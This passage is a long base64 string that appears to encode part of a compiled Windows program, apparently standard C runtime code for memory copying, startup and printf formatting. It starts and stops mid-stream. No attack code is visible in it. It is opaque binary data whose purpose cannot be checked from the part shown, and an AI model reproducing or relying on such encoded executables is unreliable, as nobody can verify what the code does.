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zouf///4M+/1l0BoN9DAB/5l5dw4v/VYvs9kcMQFNWi/CL2XQ3g38IAHUxi0UIAQbrMA+3A/9NCFCLx+h+////Q0ODPv9ZdRTod7D//4M4KnUQaj+Lx+hj////WYN9CAB/0F5bXcOL/1WL7IHsdAQAAKEEEEEAM8WJRfxTi10UVot1CDPAV/91EIt9DI2NtPv//4m1xPv//4md6Pv//4mFrPv//4mF+Pv//4mF1Pv//4mF9Pv//4mF3Pv//4mFsPv//4mF2Pv//+hDsv//hfZ1Nejur///xwAWAAAAM8BQUFBQUOh0r///g8QUgL3A+///AHQKi4W8+///g2Bw/YPI/+nPCgAAM/Y7/nUS6LOv//9WVlZWxwAWAAAAVuvFD7cPibXg+///ibXs+///ibXM+///ibWo+///iY3k+///ZjvOD4R0CgAAagJaA/o5teD7//+JvaD7//8PjEgKAACNQeBmg/hYdw8Pt8EPtoBI80AAg+AP6wIzwIu1zPv//2vACQ+2hDBo80AAagjB6AReiYXM+///O8YPhDP///+D+AcPh90JAAD/JIWfgkAAM8CDjfT7////iYWk+///iYWw+///iYXU+///iYXc+///iYX4+///iYXY+///6bAJAAAPt8GD6CB0SIPoA3Q0K8Z0JCvCdBSD6AMPhYYJAAAJtfj7///phwkAAION+Pv//wTpewkAAION+Pv//wHpbwkAAIGN+Pv//4AAAADpYAkAAAmV+Pv//+lVCQAAZoP5KnUriwODwwSJnej7//+JhdT7//+FwA+NNgkAAION+Pv//wT3ndT7///pJAkAAIuF1Pv//2vACg+3yY1ECNCJhdT7///pCQkAAIOl9Pv//wDp/QgAAGaD+Sp1JYsDg8MEiZ3o+///iYX0+///hcAPjd4IAACDjfT7////6dIIAACLhfT7//9rwAoPt8mNRAjQiYX0+///6bcIAAAPt8GD+El0UYP4aHRAg/hsdBiD+HcPhZwIAACBjfj7//8ACAAA6Y0IAABmgz9sdRED+oGN+Pv//wAQAADpdggAAION+Pv//xDpaggAAION+Pv//yDpXggAAA+3B2aD+DZ1GWaDfwI0dRKDxwSBjfj7//8AgAAA6TwIAABmg/gzdRlmg38CMnUSg8cEgaX4+////3///+kdCAAAZoP4ZA+EEwgAAGaD+GkPhAkIAABmg/hvD4T/BwAAZoP4dQ+E9QcAAGaD+HgPhOsHAABmg/hYD4ThBwAAg6XM+///AIuFxPv//1GNteD7///Hhdj7//8BAAAA6Oz7//9Z6bgHAAAPt8GD+GQPjzACAAAPhL0CAACD+FMPjxsBAAB0foPoQXQQK8J0WSvCdAgrwg+F7AUAAIPBIMeFpPv//wEAAACJjeT7//+Djfj7//9Ag730+///AI21/Pv//7gAAgAAibXw+///iYXs+///D42NAgAAx4X0+///BgAAAOnpAgAA94X4+///MAgAAA+FyQAAAION+Pv//yDpvQAAAPeF+Pv//zAIAAB1B4ON+Pv//yCLvfT7//+D//91Bb////9/g8M